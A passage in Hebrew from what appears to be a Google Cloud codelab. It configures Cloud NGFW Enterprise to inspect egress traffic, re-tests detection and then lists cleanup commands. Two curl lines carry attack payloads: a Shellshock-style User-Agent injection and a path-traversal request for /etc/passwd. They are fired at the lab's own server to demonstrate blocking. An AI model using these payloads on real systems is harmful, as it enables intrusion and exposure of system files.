כפי שראינו בקטע הקודם, הזרימות שנבדקו עד עכשיו הן בתוך רשת המשנה או ה-VPC (מזרח-מערב) ותעבורה נכנסת מהאינטרנט (צפון-דרום נכנסת). אפשר גם להגדיר את Cloud NGFW Enterprise לבדיקת כל התעבורה באינטרנט (תעבורה יוצאת מצפון לדרום) על ידי יצירת כלל יציאה חדש באמצעות Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

חוזרים למכונה הווירטואלית של הלקוח ושולחים מחדש מתקפות ברמת חומרה גבוהה לכתובת ה-IP של השרת החיצוני:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

הפלט אמור להיראות כך:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

עוברים לכרטיסייה Threats (איומים) ב-Cloud Console כדי לאמת את היומנים (יכול להיות שיהיה צורך לרענן כמה פעמים). המתקפות היו אמורות להיות מזוהות ומתועדות שוב, אבל עכשיו כתובת ה-IP של המקור היא פנימית כי מופעל קודם כל כלל יציאה:

36f8edf264dcddcd.png

סוגרים את סשן ה-SSH וממשיכים לקטע הבא כדי לבצע את שלבי הניקוי.

8. שלבי הניקוי

ניקוי רכיבים של Cloud NGFW Enterprise

כדי לראות את השיוכים הקיימים של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

מחיקת השיוך של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

כדי לראות את רשימת נקודות הקצה הקיימות של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

מוחקים את נקודת הקצה של Cloud NGFW Enterprise. התהליך הזה יכול להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

מריצים את הפקודה הבאה כדי לוודא ש-Cloud NGFW Enterprise נמחק:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

מוחקים את קבוצת פרופילי האבטחה ואת פרופיל מניעת האיומים:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

ניקוי של הגדרות בסיסיות

אם אתם מעדיפים למחוק את משאבי הבסיס, אתם יכולים להמשיך לשלב הבא.

מגדירים את משתני הסביבה, אם צריך. מ-Cloud Shell, מוחקים את הרכיבים של מאזן עומסי רשת:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

הסרת מכונות:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

אופציונלי: אם התפקידים tagAdmin ו-tagUsers השתנו, מבצעים את השלבים הבאים:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

הסרת מפתח תג וערכים:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

מוחקים את מדיניות הרשת של חומת האש ב-Cloud ואת השיוך שלה:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מחיקת Cloud Router ו-Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מחיקת כתובות IP שמורות:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. מעולה!

כל הכבוד, סיימתם בהצלחה את ה-Codelab בנושא Cloud NGFW Enterprise לבדיקת תנועה מזרח-מערב וצפון-דרום.